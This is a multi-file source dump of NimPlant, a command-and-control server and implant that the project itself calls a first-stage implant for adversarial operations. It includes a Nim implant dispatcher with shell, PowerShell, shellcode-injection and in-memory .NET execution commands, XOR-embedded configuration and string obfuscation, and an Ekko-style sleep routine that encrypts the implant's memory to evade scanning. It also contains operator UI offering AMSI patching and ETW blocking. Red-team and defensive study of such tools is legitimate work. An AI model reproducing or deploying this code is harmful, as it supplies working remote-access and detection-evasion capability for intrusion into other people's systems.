| result = convertToString(dec).strip(leading=false, chars={'\0'}) 80 | 81 | # Encrypt a input string with the given key 82 | proc encryptData*(data: string, key: string): string = 83 | let 84 | dataBytes : seq[byte] = convertToByteSeq(data) 85 | var 86 | iv: string = rndStr(16) 87 | enc = newSeq[byte](len(dataBytes)) 88 | dec = newSeq[byte](len(dataBytes)) 89 | dec = dataBytes 90 | var dctx: CTR[aes128] 91 | dctx.init(key, iv) 92 | dctx.encrypt(dec, enc) 93 | dctx.clear() 94 | result = encode(convertToByteSeq(iv) & enc) -------------------------------------------------------------------------------- /ui/components/modals/Cmd-Execute-Assembly.tsx: -------------------------------------------------------------------------------- 1 | import { Button, Chip, FileButton, Flex, Input, Modal, SimpleGrid, Space, Text } from "@mantine/core" 2 | import { Dispatch, SetStateAction, useState } from "react"; 3 | import { FaTerminal } from "react-icons/fa" 4 | import { submitCommand, uploadFile } from "../../modules/nimplant"; 5 | 6 | 7 | interface IProps { 8 | modalOpen: boolean; 9 | setModalOpen: Dispatch>; 10 | npGuid: string | undefined; 11 | } 12 | 13 | function ExecuteAssemblyModal({ modalOpen, setModalOpen, npGuid }: IProps) { 14 | const [assemblyFile, setAssemblyFile] = useState(null); 15 | const [assemblyArguments, setAssemblyArguments] = useState(""); 16 | const [patchAmsi, setPatchAmsi] = useState(true); 17 | const [patchEtw, setPatchEtw] = useState(true); 18 | const [submitLoading, setSubmitLoading] = useState(false); 19 | 20 | const submit = () => { 21 | // Check if a file is selected 22 | if (!assemblyFile || assemblyFile === null) { 23 | return; 24 | } 25 | 26 | // Upload the file 27 | setSubmitLoading(true); 28 | uploadFile(assemblyFile, callbackCommand, callbackClose); 29 | }; 30 | 31 | const callbackCommand = (uploadPath: string) => { 32 | // Parse the parameters 33 | const amsi = patchAmsi ? 1 : 0; 34 | const etw = patchEtw ? 1 : 0; 35 | 36 | // Handle the execute-assembly command 37 | submitCommand(String(npGuid), `execute-assembly BYPASSAMSI=${amsi} BLOCKETW=${etw} "${uploadPath}" ${assemblyArguments}`, callbackClose); 38 | }; 39 | 40 | const callbackClose = () => { 41 | // Reset state 42 | setModalOpen(false); 43 | setAssemblyFile(null); 44 | setAssemblyArguments(""); 45 | setPatchAmsi(true); 46 | setPatchEtw(true); 47 | setSubmitLoading(false); 48 | }; 49 | 50 | return ( 51 | setModalOpen(false)} 54 | title={Execute-Assembly: Execute .NET program} 55 | size="auto" 56 | centered 57 | > 58 | Execute a .NET (C#) program in-memory. 59 | Caution: Running execute-assembly will load the CLR! 60 | 61 | 62 | 63 | 64 | {/* File selector */} 65 | 66 | {(props) => } 69 | 70 | 71 | {/* Arguments and options */} 72 | setAssemblyArguments(event.currentTarget.value)} 76 | /> 77 | 78 | 83 | Patch AMSI 84 | Block ETW 85 | 86 | 87 | 88 | 89 | 90 | 91 | {/* Submit button */} 92 | 100 | 101 | ) 102 | } 103 | 104 | export default ExecuteAssemblyModal -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/pages/nimplants/details-6f5a875821a83723.js: -------------------------------------------------------------------------------- 1 | (self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[404],{7669:function(e,n,s){(window.__NEXT_P=window.__NEXT_P||[]).push(["/nimplants/details",function(){return s(8301)}])},8301:function(e,n,s){"use strict";s.r(n),s.d(n,{default:function(){return N}});var i=s(5893),l=s(4998),r=s(5154),t=s(741),c=s(7294),x=s(4065),d=s(1163),o=s(3680),j=s(2918),a=s.n(j),h=s(7564),u=s(3485),m=s(8818),p=s(7841),f=s(9236),y=s(50),v=s(8623),w=s(5117),b=s(9406),g=s(3986),k=function(e){let{guid:n}=e,[s,t]=(0,c.useState)(!1),{nimplantInfo:x,nimplantInfoLoading:d,nimplantInfoError:o}=(0,l.TW)(n);return(0,i.jsxs)(h.K,{ml:"xl",mr:40,mt:"xl",spacing:"xs",children:[(0,i.jsxs)(u.u,{opened:s,onClose:()=>t(!1),title:(0,i.jsx)("b",{children:"Danger zone!"}),centered:!0,children:["Are you sure you want to kill this Nimplant?",(0,i.jsx)(m.T,{h:"xl"}),(0,i.jsx)(p.z,{onClick:()=>{t(!1),(0,l.a6)(n)},leftIcon:(0,i.jsx)(r.Z1A,{}),sx:{width:"100%"},children:"Yes, kill kill kill!"})]}),(0,i.jsx)(p.z,{mb:"sm",onClick:()=>t(!0),leftIcon:(0,i.jsx)(r.Z1A,{}),sx:{maxWidth:"200px"},children:"Kill Nimplant"}),(0,i.jsx)(f.D,{order:2,children:"Nimplant Information"}),(0,i.jsxs)(y.r,{columns:2,gutter:"lg",children:[(0,i.jsx)(y.r.Col,{xs:2,md:2,children:(0,i.jsx)(g.Z,{icon:(0,i.jsx)(r.bHw,{size:"1.5em"}),content:(0,i.jsx)(v.O,{visible:!x,children:(0,i.jsxs)(w.x,{children:["Nimplant ",(0,i.jsxs)(b.y,{children:["#",x&&x.id]})," ","(GUID ",(0,i.jsx)(b.y,{children:x&&x.guid}),")"]})})})}),(0,i.jsx)(y.r.Col,{xs:2,md:1,children:(0,i.jsx)(g.Z,{icon:(0,i.jsx)(r.qyc,{size:"1.5em"}),content:(0,i.jsx)(v.O,{visible:!x,children:(0,i.jsxs)(w.x,{sx:{whiteSpace:"pre-line"},children:["Last seen: ",(0,i.jsx)(b.y,{children:x&&(0,l.VG)(x.lastCheckin)})," ","(sleep ",(0,i.jsxs)(b.y,{children:[x&&x.sleepTime," seconds"]}),","," ","jitter ",(0,i.jsxs)(b.y,{children:[x&&x.sleepJitter,"%"]}),")","\n","First seen: ",(0,i.jsx)(b.y,{children:x&&(0,l.VG)(x.firstCheckin)})," ","(kill date ",(0,i.jsx)(b.y,{children:x&&x.killDate}),")"]})})})}),(0,i.jsx)(y.r.Col,{xs:2,md:1,children:(0,i.jsx)(g.Z,{icon:(0,i.jsx)(r.WIW,{size:"1.5em"}),content:(0,i.jsx)(v.O,{visible:!x,children:(0,i.jsxs)(w.x,{sx:{whiteSpace:"pre-line"},children:["Username: ",(0,i.jsx)(b.y,{children:x&&x.username}),"\n","Hostname: ",(0,i.jsx)(b.y,{children:x&&x.hostname})]})})})}),(0,i.jsx)(y.r.Col,{xs:2,md:1,children:(0,i.jsx)(g.Z,{icon:(0,i.jsx)(r.AEx,{size:"1.5em"}),content:(0,i.jsx)(v.O,{visible:!x,children:(0,i.jsxs)(w.x,{sx:{whiteSpace:"pre-line"},children:["Internal IP address: ",(0,i.jsx)(b.y,{children:x&&x.ipAddrInt}),"\n","External IP address: ",(0,i.jsx)(b.y,{children:x&&x.ipAddrExt})]})})})}),(0,i.jsx)(y.r.Col,{xs:2,md:1,children:(0,i.jsx)(g.Z,{icon:(0,i.jsx)(r.zTP,{size:"1.5em"}),content:(0,i.jsx)(v.O,{visible:!x,children:(0,i.jsxs)(w.x,{sx:{whiteSpace:"pre-line"},children:[(0,i.jsx)(b.y,{children:x&&x.osBuild}),"\n","Process ",(0,i.jsx)(b.y,{children:x&&x.pname})," (ID ",(0,i.jsx)(b.y,{children:x&&x.pid}),")"]})})})})]})]})},C=s(315);let I=()=>{var e,n;let s=(0,x.a)("(min-width: 800px)"),j=(0,d.useRouter)(),[h,u]=(0,c.useState)(1),m=j.query.guid,{nimplantInfo:p,nimplantInfoLoading:f,nimplantInfoError:y}=(0,l.TW)(m),{nimplantConsole:v,nimplantConsoleLoading:w,nimplantConsoleError:b}=(0,l.uV)(m);return((0,c.useEffect)(()=>{y&&b?(0,l.or)():(0,l.Xe)()}),m&&(f||"Invalid Nimplant GUID"!=p))?(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(C.Z,{title:s?"Nimplant #".concat(null===(e=j.query.guid)||void 0===e?void 0:e.toString()):"Nimplant",icon:(0,i.jsx)(r.bHw,{size:"2em"}),noBorder:!0}),(0,i.jsxs)(t.m,{defaultValue:"npconsole",children:[(0,i.jsxs)(t.m.List,{mx:-25,grow:!0,children:[(0,i.jsx)(t.m.Tab,{value:"npinfo",icon:(0,i.jsx)(r.DAO,{}),children:"Information"}),(0,i.jsx)(t.m.Tab,{value:"npconsole",icon:(0,i.jsx)(r.fF,{}),children:"Console"})]}),(0,i.jsx)(t.m.Panel,{value:"npinfo",children:(0,i.jsx)(k,{guid:m})}),(0,i.jsx)(t.m.Panel,{value:"npconsole",children:(0,i.jsx)(o.Z,{allowInput:!0,consoleData:v,disabled:!!p&&!p.active,guid:null===(n=j.query.guid)||void 0===n?void 0:n.toString(),inputFunction:l.QL})})]})]}):(0,i.jsx)(a(),{statusCode:404})};var N=I},2918:function(e,n,s){e.exports=s(67)}},function(e){e.O(0,[968,673,824,200,774,888,179],function(){return e(e.s=7669)}),_N_E=e.O()}]); -------------------------------------------------------------------------------- /ui/components/NimplantOverviewCard.tsx: -------------------------------------------------------------------------------- 1 | import { FaLink, FaUnlink, FaNetworkWired, FaCloud, FaFingerprint, FaClock, FaAngleRight } from 'react-icons/fa' 2 | import { Text, Group, Stack, Space } from '@mantine/core' 3 | import { timeSince } from '../modules/nimplant'; 4 | import Link from 'next/link' 5 | import React from "react"; 6 | import Types from '../modules/nimplant.d' 7 | 8 | type NimplantOverviewCardType = { 9 | np: Types.NimplantOverview 10 | largeScreen: boolean, 11 | } 12 | 13 | // Component for single nimplant card (for 'nimplants' overview screen) 14 | function NimplantOverviewCard({np, largeScreen} : NimplantOverviewCardType) { 15 | return ( 16 | ({ 18 | '&:not(:last-child)': { 19 | borderBottom: `1px solid ${theme.colors.gray[1]}`, 20 | }, 21 | 22 | '&:hover': { 23 | cursor: 'pointer', 24 | } 25 | })} 26 | > 27 | 28 | ({ color: theme.colors.gray[7] })} grow> 29 | 30 | 40 | 41 | ({ color: theme.colors.rose[6] })} 43 | > 44 | {largeScreen ? `${np.id} - ${np.guid}` : np.guid} 45 | 46 | 47 | ({ color: theme.colors.gray[5] })} 49 | > 50 | 53 | 54 | {timeSince(np.lastCheckin)} 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | {np.username} @ {np.hostname} 64 | 65 | ({ color: theme.colors.gray[5] })} 67 | > 68 | 71 | {np.pname} ({np.pid}) 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 82 | {np.ipAddrInt} 83 | 84 | ({ color: theme.colors.gray[5] })} 86 | > 87 | 90 | {np.ipAddrExt} 91 | 92 | 93 | 94 | 100 | 101 | 102 | 103 | 104 | 105 | ) 106 | } 107 | 108 | export default NimplantOverviewCard -------------------------------------------------------------------------------- /ui/pages/index.tsx: -------------------------------------------------------------------------------- 1 | import { createStyles, Title, Text, Button, Container, useMantineTheme, ScrollArea } from '@mantine/core'; 2 | import { FaGithub, FaHome, FaTwitter } from 'react-icons/fa' 3 | import { useMediaQuery } from '@mantine/hooks' 4 | import TitleBar from '../components/TitleBar' 5 | import type { NextPage } from 'next' 6 | import { Dots } from '../components/Dots'; 7 | 8 | // Source: https://github.com/mantinedev/ui.mantine.dev/blob/master/components/HeroText/HeroText.tsx 9 | const useStyles = createStyles((theme) => ({ 10 | wrapper: { 11 | position: 'relative', 12 | paddingTop: 120, 13 | paddingBottom: 80, 14 | 15 | '@media (max-width: 755px)': { 16 | paddingTop: 80, 17 | paddingBottom: 60, 18 | }, 19 | }, 20 | 21 | inner: { 22 | position: 'relative', 23 | zIndex: 1, 24 | }, 25 | 26 | dots: { 27 | position: 'absolute', 28 | color: theme.colorScheme === 'dark' ? theme.colors.dark[5] : theme.colors.gray[1], 29 | 30 | '@media (max-width: 755px)': { 31 | display: 'none', 32 | }, 33 | }, 34 | 35 | dotsLeft: { 36 | left: 0, 37 | top: 0, 38 | }, 39 | 40 | title: { 41 | textAlign: 'center', 42 | fontWeight: 800, 43 | fontSize: 40, 44 | letterSpacing: -1, 45 | color: theme.colorScheme === 'dark' ? theme.white : theme.black, 46 | marginBottom: theme.spacing.xs, 47 | fontFamily: `Greycliff CF, ${theme.fontFamily}`, 48 | 49 | '@media (max-width: 520px)': { 50 | fontSize: 28, 51 | textAlign: 'left', 52 | }, 53 | }, 54 | 55 | description: { 56 | textAlign: 'center', 57 | 58 | '@media (max-width: 520px)': { 59 | textAlign: 'left', 60 | fontSize: theme.fontSizes.md, 61 | }, 62 | }, 63 | 64 | controls: { 65 | marginTop: theme.spacing.lg, 66 | display: 'flex', 67 | justifyContent: 'center', 68 | 69 | '@media (max-width: 520px)': { 70 | flexDirection: 'column', 71 | }, 72 | }, 73 | 74 | control: { 75 | '&:not(:first-of-type)': { 76 | marginLeft: theme.spacing.md, 77 | }, 78 | 79 | '@media (max-width: 520px)': { 80 | height: 42, 81 | fontSize: theme.fontSizes.md, 82 | 83 | '&:not(:first-of-type)': { 84 | marginTop: theme.spacing.md, 85 | marginLeft: 0, 86 | }, 87 | }, 88 | }, 89 | })); 90 | 91 | const Index: NextPage = () => { 92 | const largeScreen = useMediaQuery('(min-width: 800px)'); 93 | const { classes } = useStyles(); 94 | const theme = useMantineTheme(); 95 | 96 | return ( 97 | <> 98 | } /> 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 |
108 | 109 | A {' '} 110 | <Text component="span" color={theme.primaryColor} inherit> 111 | first-stage implant 112 | </Text>{' '} 113 | for adversarial operations 114 | 115 | 116 | 117 | 118 | Nimplant is a lightweight stage-1 implant and C2 server. Get started using the action menu, or check out the Github repo for more information. 119 | 120 | 121 | 122 |
123 | 129 | 135 |
136 |
137 |
138 | 139 |
140 | 141 | ) 142 | } 143 | 144 | export default Index 145 | -------------------------------------------------------------------------------- /ui/components/InfoCardListNimplant.tsx: -------------------------------------------------------------------------------- 1 | import { FaClock, FaLaptopCode, FaFingerprint, FaWindows, FaNetworkWired, FaSkull } from "react-icons/fa" 2 | import { getNimplantInfo, nimplantExit, timeSince } from "../modules/nimplant"; 3 | import { Grid, Title, Text, Modal, Button, Space, Skeleton, Stack } from "@mantine/core" 4 | import { Highlight } from "./MainLayout"; 5 | import InfoCard from "./InfoCard" 6 | import { useState } from "react"; 7 | 8 | // Component for single information card (for server and nimplant data) 9 | function InfoCardListNimplant({guid}: {guid: string}) { 10 | const [exitModalOpen, setExitModalOpen] = useState(false); 11 | const { nimplantInfo, nimplantInfoLoading, nimplantInfoError } = getNimplantInfo(guid) 12 | 13 | // Return the actual cards 14 | return ( 15 | 16 | 17 | setExitModalOpen(false)} 20 | title={Danger zone!} 21 | centered 22 | > 23 | Are you sure you want to kill this Nimplant? 24 | 25 | 26 | 27 | 33 | 34 | 35 | 42 | 43 | 44 | Nimplant Information 45 | 46 | 47 | 48 | 49 | } content={ 50 | 51 | 52 | Nimplant #{nimplantInfo && nimplantInfo.id}{' '} 53 | (GUID {nimplantInfo && nimplantInfo.guid}) 54 | 55 | 56 | } /> 57 | 58 | 59 | 60 | } content={ 61 | 62 | 63 | Last seen: {nimplantInfo && timeSince(nimplantInfo.lastCheckin)}{' '} 64 | (sleep {nimplantInfo && nimplantInfo.sleepTime} seconds,{' '} 65 | jitter {nimplantInfo && nimplantInfo.sleepJitter}%){'\n'} 66 | First seen: {nimplantInfo && timeSince(nimplantInfo.firstCheckin)}{' '} 67 | (kill date {nimplantInfo && nimplantInfo.killDate}) 68 | 69 | 70 | } /> 71 | 72 | 73 | 74 | } content={ 75 | 76 | 77 | Username: {nimplantInfo && nimplantInfo.username}{'\n'} 78 | Hostname: {nimplantInfo && nimplantInfo.hostname} 79 | 80 | 81 | } /> 82 | 83 | 84 | 85 | } content={ 86 | 87 | 88 | Internal IP address: {nimplantInfo && nimplantInfo.ipAddrInt}{'\n'} 89 | External IP address: {nimplantInfo && nimplantInfo.ipAddrExt} 90 | 91 | 92 | } /> 93 | 94 | 95 | 96 | } content={ 97 | 98 | 99 | {nimplantInfo && nimplantInfo.osBuild}{'\n'} 100 | Process {nimplantInfo && nimplantInfo.pname} (ID {nimplantInfo && nimplantInfo.pid}) 101 | 102 | 103 | } /> 104 | 105 | 106 | 107 | ) 108 | } 109 | 110 | export default InfoCardListNimplant -------------------------------------------------------------------------------- /client/util/functions.nim: -------------------------------------------------------------------------------- 1 | import parsetoml, strutils, tables 2 | from crypto import xorStringToByteSeq, xorByteSeqToString 3 | 4 | include ../commands/[cat, cd, cp, curl, download, env, getAv, getDom, getLocalAdm, ls, mkdir, mv, ps, pwd, reg, rm, run, upload, wget, whoami] 5 | when defined risky: 6 | include ../commands/risky/[executeAssembly, inlineExecute, powershell, shell, shinject] 7 | 8 | # Parse the configuration file 9 | # This constant will be stored in the binary itself (hence the XOR) 10 | proc parseConfig*() : Table[string, string] = 11 | var config = initTable[string, string]() 12 | 13 | # Allow us to re-write the static XOR key used for pre-crypto operations 14 | # This is handled by the Python wrapper at compile time, the default value shouldn't be used 15 | const xor_key {.intdefine.}: int = 459457925 16 | 17 | # Embed the configuration as a XORed sequence of bytes at COMPILE-time 18 | const embeddedConf = xorStringToByteSeq(staticRead(obf("../../config.toml")), xor_key) 19 | 20 | # Decode the configuration at RUNtime and parse the TOML to store it in a basic table 21 | var tomlConfig = parsetoml.parseString(xorByteSeqToString(embeddedConf, xor_key)) 22 | config[obf("hostname")] = tomlConfig[obf("listener")][obf("hostname")].getStr() 23 | config[obf("listenerType")] = tomlConfig[obf("listener")][obf("type")].getStr() 24 | config[obf("listenerIp")] = tomlConfig[obf("listener")][obf("ip")].getStr() 25 | config[obf("listenerPort")] = $tomlConfig[obf("listener")][obf("port")].getInt() 26 | config[obf("listenerRegPath")] = tomlConfig[obf("listener")][obf("registerPath")].getStr() 27 | config[obf("listenerTaskPath")] = tomlConfig[obf("listener")][obf("taskPath")].getStr() 28 | config[obf("listenerResPath")] = tomlConfig[obf("listener")][obf("resultPath")].getStr() 29 | 30 | config[obf("killDate")] = $tomlConfig[obf("nimplant")][obf("killDate")].getStr() 31 | config[obf("sleepTime")] = $tomlConfig[obf("nimplant")][obf("sleepTime")].getInt() 32 | config[obf("sleepJitter")] = $tomlConfig[obf("nimplant")][obf("sleepJitter")].getInt() 33 | config[obf("userAgent")] = tomlConfig[obf("nimplant")][obf("userAgent")].getStr() 34 | 35 | return config 36 | 37 | # Parse user commands that do not affect the listener object here 38 | proc parseCmd*(li : Listener, cmd : string, cmdGuid : string, args : seq[string]) : string = 39 | 40 | try: 41 | # Parse the received command 42 | # This code isn't too pretty, but using 'case' optimizes away the string obfuscation used here 43 | if cmd == obf("cat"): 44 | result = cat(args) 45 | elif cmd == obf("cd"): 46 | result = cd(args) 47 | elif cmd == obf("cp"): 48 | result = cp(args) 49 | elif cmd == obf("curl"): 50 | result = curl(li, args) 51 | elif cmd == obf("download"): 52 | result = download(li, cmdGuid, args) 53 | elif cmd == obf("env"): 54 | result = env() 55 | elif cmd == obf("getav"): 56 | result = getAv() 57 | elif cmd == obf("getdom"): 58 | result = getDom() 59 | elif cmd == obf("getlocaladm"): 60 | result = getLocalAdm() 61 | elif cmd == obf("ls"): 62 | result = ls(args) 63 | elif cmd == obf("mkdir"): 64 | result = mkdir(args) 65 | elif cmd == obf("mv"): 66 | result = mv(args) 67 | elif cmd == obf("ps"): 68 | result = ps() 69 | elif cmd == obf("pwd"): 70 | result = pwd() 71 | elif cmd == obf("reg"): 72 | result = reg(args) 73 | elif cmd == obf("rm"): 74 | result = rm(args) 75 | elif cmd == obf("run"): 76 | result = run(args) 77 | elif cmd == obf("upload"): 78 | result = upload(li, cmdGuid, args) 79 | elif cmd == obf("wget"): 80 | result = wget(li, args) 81 | elif cmd == obf("whoami"): 82 | result = whoami() 83 | else: 84 | # Parse risky commands, if enabled 85 | when defined risky: 86 | if cmd == obf("execute-assembly"): 87 | result = executeAssembly(li, args) 88 | elif cmd == obf("inline-execute"): 89 | result = inlineExecute(li, args) 90 | elif cmd == obf("powershell"): 91 | result = powershell(args) 92 | elif cmd == obf("shell"): 93 | result = shell(args) 94 | elif cmd == obf("shinject"): 95 | result = shinject(li, args) 96 | else: 97 | result = obf("ERROR: An unknown command was received.") 98 | else: 99 | result = obf("ERROR: An unknown command was received.") 100 | 101 | # Catch unhandled exceptions during command execution (commonly OS exceptions) 102 | except: 103 | let 104 | msg = getCurrentExceptionMsg() 105 | 106 | result = obf("ERROR: An unhandled exception occurred.\nException: ") & msg -------------------------------------------------------------------------------- /server/util/commands.py: -------------------------------------------------------------------------------- 1 | from .func import log, nimplantPrint 2 | from .nimplant import np_server 3 | from yaml.loader import FullLoader 4 | import shlex 5 | import yaml 6 | 7 | 8 | def getCommands(): 9 | with open("server/util/commands.yaml", "r") as f: 10 | return sorted(yaml.load(f, Loader=FullLoader), key=lambda c: c["command"]) 11 | 12 | 13 | def getCommandList(): 14 | return [c["command"] for c in getCommands()] 15 | 16 | 17 | def getRiskyCommandList(): 18 | return [c["command"] for c in getCommands() if c["risky_command"]] 19 | 20 | 21 | def handleCommand(raw_command, np=None): 22 | if np == None: 23 | np = np_server.getActiveNimplant() 24 | 25 | log(f"NimPlant {np.id} $ > {raw_command}", np.guid) 26 | 27 | try: 28 | args = shlex.split(raw_command.replace("\\", "\\\\")) 29 | cmd = raw_command.lower().split(" ")[0] 30 | nimplantCmds = [cmd.lower() for cmd in getCommandList()] 31 | 32 | # Handle commands 33 | if cmd == "": 34 | pass 35 | 36 | elif cmd in getRiskyCommandList() and not np.riskyMode: 37 | msg = ( 38 | f"Uh oh, you compiled this Nimplant in safe mode and '{cmd}' is considered to be a risky command.\n" 39 | "Please enable 'riskyMode' in 'config.toml' and re-compile Nimplant!" 40 | ) 41 | nimplantPrint(msg, np.guid, raw_command) 42 | 43 | elif cmd == "cancel": 44 | np.cancelAllTasks() 45 | nimplantPrint( 46 | f"All tasks cancelled for Nimplant {np.id}.", np.guid, raw_command 47 | ) 48 | 49 | elif cmd == "clear": 50 | from .func import cls 51 | 52 | cls() 53 | 54 | elif cmd == "getpid": 55 | msg = f"NimPlant PID is {np.pid}" 56 | nimplantPrint(msg, np.guid, raw_command) 57 | 58 | elif cmd == "getprocname": 59 | msg = f"NimPlant is running inside of {np.pname}" 60 | nimplantPrint(msg, np.guid, raw_command) 61 | 62 | elif cmd == "help": 63 | if len(args) == 2: 64 | from .func import getCommandHelp 65 | 66 | msg = getCommandHelp(args[1]) 67 | else: 68 | from .func import getHelpMenu 69 | 70 | msg = getHelpMenu() 71 | 72 | nimplantPrint(msg, np.guid, raw_command) 73 | 74 | elif cmd == "hostname": 75 | msg = f"NimPlant hostname is: {np.hostname}" 76 | nimplantPrint(msg, np.guid, raw_command) 77 | 78 | elif cmd == "ipconfig": 79 | msg = f"NimPlant external IP address is: {np.ipAddrExt}\n" 80 | msg += f"NimPlant internal IP address is: {np.ipAddrInt}" 81 | nimplantPrint(msg, np.guid, raw_command) 82 | 83 | elif cmd == "list": 84 | msg = np_server.getInfo() 85 | nimplantPrint(msg, np.guid, raw_command) 86 | 87 | elif cmd == "listall": 88 | msg = np_server.getInfo(all=True) 89 | nimplantPrint(msg, np.guid, raw_command) 90 | 91 | elif cmd == "nimplant": 92 | msg = np.getInfo() 93 | nimplantPrint(msg, np.guid, raw_command) 94 | 95 | elif cmd == "osbuild": 96 | msg = f"NimPlant OS build is: {np.osBuild}" 97 | nimplantPrint(msg, np.guid, raw_command) 98 | 99 | elif cmd == "select": 100 | if len(args) == 2: 101 | np_server.selectNimplant(args[1]) 102 | else: 103 | nimplantPrint( 104 | "Invalid argument length. Usage: 'select [NimPlant ID]'.", 105 | np.guid, 106 | raw_command, 107 | ) 108 | 109 | elif cmd == "exit": 110 | from .func import exitServerConsole 111 | 112 | exitServerConsole() 113 | 114 | elif cmd == "upload": 115 | from .func import uploadFile 116 | 117 | uploadFile(np, args, raw_command) 118 | 119 | elif cmd == "download": 120 | from .func import downloadFile 121 | 122 | downloadFile(np, args, raw_command) 123 | 124 | elif cmd == "execute-assembly": 125 | from .func import executeAssembly 126 | 127 | executeAssembly(np, args, raw_command) 128 | 129 | elif cmd == "inline-execute": 130 | from .func import inlineExecute 131 | 132 | inlineExecute(np, args, raw_command) 133 | 134 | elif cmd == "shinject": 135 | from .func import shinject 136 | 137 | shinject(np, args, raw_command) 138 | 139 | elif cmd == "powershell": 140 | from .func import powershell 141 | 142 | powershell(np, args, raw_command) 143 | 144 | # Handle commands that do not need any server-side handling 145 | elif cmd in nimplantCmds: 146 | guid = np.addTask(raw_command) 147 | nimplantPrint(f"Staged command '{raw_command}'.", np.guid, taskGuid=guid) 148 | else: 149 | nimplantPrint( 150 | f"Unknown command. Enter 'help' to get a list of commands.", 151 | np.guid, 152 | raw_command, 153 | ) 154 | 155 | except Exception as e: 156 | nimplantPrint( 157 | f"An unexpected exception occurred when handling command: {repr(e)}", 158 | np.guid, 159 | raw_command, 160 | ) 161 | -------------------------------------------------------------------------------- /client/util/ekko.nim: -------------------------------------------------------------------------------- 1 | # This is a Nim-Port of the Ekko Sleep obfuscation by @C5pider, original work: https://github.com/Cracked5pider/Ekko 2 | # Ported to Nim by Fabian Mosch, @ShitSecure (S3cur3Th1sSh1t) 3 | 4 | # TODO: Modify to work with .dll/.bin compilation type, see: https://mez0.cc/posts/vulpes-obfuscating-memory-regions/#Sleeping_with_Timers 5 | # TODO: Check which exact functions are needed to minimize the imports for winim 6 | import winim/lean 7 | import ptr_math 8 | import std/random 9 | import strenc 10 | 11 | type 12 | USTRING* {.bycopy.} = object 13 | Length*: DWORD 14 | MaximumLength*: DWORD 15 | Buffer*: PVOID 16 | 17 | randomize() 18 | 19 | proc ekkoObf*(st: int): VOID = 20 | var CtxThread: CONTEXT 21 | var RopProtRW: CONTEXT 22 | var RopMemEnc: CONTEXT 23 | var RopDelay: CONTEXT 24 | var RopMemDec: CONTEXT 25 | var RopProtRX: CONTEXT 26 | var RopSetEvt: CONTEXT 27 | var hTimerQueue: HANDLE 28 | var hNewTimer: HANDLE 29 | var hEvent: HANDLE 30 | var ImageBase: PVOID = nil 31 | var ImageSize: DWORD = 0 32 | var OldProtect: DWORD = 0 33 | var SleepTime: DWORD = cast[DWORD](st) 34 | 35 | ## Random Key for each round 36 | var KeyBuf: array[16, CHAR] = [CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), 37 | CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255))] 38 | var Key: USTRING = USTRING(Length: 0) 39 | var Img: USTRING = USTRING(Length: 0) 40 | var NtContinue: PVOID = nil 41 | var SysFunc032: PVOID = nil 42 | hEvent = CreateEventW(nil, 0, 0, nil) 43 | hTimerQueue = CreateTimerQueue() 44 | NtContinue = GetProcAddress(GetModuleHandleA(obf("Ntdll")), obf("NtContinue")) 45 | SysFunc032 = GetProcAddress(LoadLibraryA(obf("Advapi32")), obf("SystemFunction032")) 46 | ImageBase = cast[PVOID](GetModuleHandleA(LPCSTR(nil))) 47 | ImageSize = (cast[PIMAGE_NT_HEADERS](ImageBase + 48 | (cast[PIMAGE_DOS_HEADER](ImageBase)).e_lfanew)).OptionalHeader.SizeOfImage 49 | Key.Buffer = KeyBuf.addr 50 | Key.Length = 16 51 | Key.MaximumLength = 16 52 | Img.Buffer = ImageBase 53 | Img.Length = ImageSize 54 | Img.MaximumLength = ImageSize 55 | if CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](RtlCaptureContext), 56 | addr(CtxThread), 0, 0, WT_EXECUTEINTIMERTHREAD): 57 | WaitForSingleObject(hEvent, 0x32) 58 | copyMem(addr(RopProtRW), addr(CtxThread), sizeof((CONTEXT))) 59 | copyMem(addr(RopMemEnc), addr(CtxThread), sizeof((CONTEXT))) 60 | copyMem(addr(RopDelay), addr(CtxThread), sizeof((CONTEXT))) 61 | copyMem(addr(RopMemDec), addr(CtxThread), sizeof((CONTEXT))) 62 | copyMem(addr(RopProtRX), addr(CtxThread), sizeof((CONTEXT))) 63 | copyMem(addr(RopSetEvt), addr(CtxThread), sizeof((CONTEXT))) 64 | ## VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); 65 | dec(RopProtRW.Rsp, 8) 66 | var VirtualProtectAddr = GetProcAddress(GetModuleHandleA(obf("kernel32")), obf("VirtualProtect")) 67 | RopProtRW.Rip = cast[DWORD64](VirtualProtectAddr) 68 | RopProtRW.Rcx = cast[DWORD64](ImageBase) 69 | RopProtRW.Rdx = cast[DWORD64](ImageSize) 70 | RopProtRW.R8 = PAGE_READWRITE 71 | RopProtRW.R9 = cast[DWORD64](addr(OldProtect)) 72 | ## SystemFunction032( &Key, &Img ); 73 | dec(RopMemEnc.Rsp, 8) 74 | RopMemEnc.Rip = cast[DWORD64](SysFunc032) 75 | RopMemEnc.Rcx = cast[DWORD64](addr(Img)) 76 | RopMemEnc.Rdx = cast[DWORD64](addr(Key)) 77 | ## WaitForSingleObject( hTargetHdl, SleepTime ); 78 | dec(RopDelay.Rsp, 8) 79 | RopDelay.Rip = cast[DWORD64](WaitForSingleObject) 80 | var ntCurrentProc: HANDLE = -1 81 | RopDelay.Rcx = cast[DWORD64](ntCurrentProc) 82 | RopDelay.Rdx = SleepTime 83 | ## SystemFunction032( &Key, &Img ); 84 | dec(RopMemDec.Rsp, 8) 85 | RopMemDec.Rip = cast[DWORD64](SysFunc032) 86 | RopMemDec.Rcx = cast[DWORD64](addr(Img)) 87 | RopMemDec.Rdx = cast[DWORD64](addr(Key)) 88 | ## VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); 89 | dec(RopProtRX.Rsp, 8) 90 | RopProtRX.Rip = cast[DWORD64](VirtualProtectAddr) 91 | RopProtRX.Rcx = cast[DWORD64](ImageBase) 92 | RopProtRX.Rdx = cast[DWORD64](ImageSize) 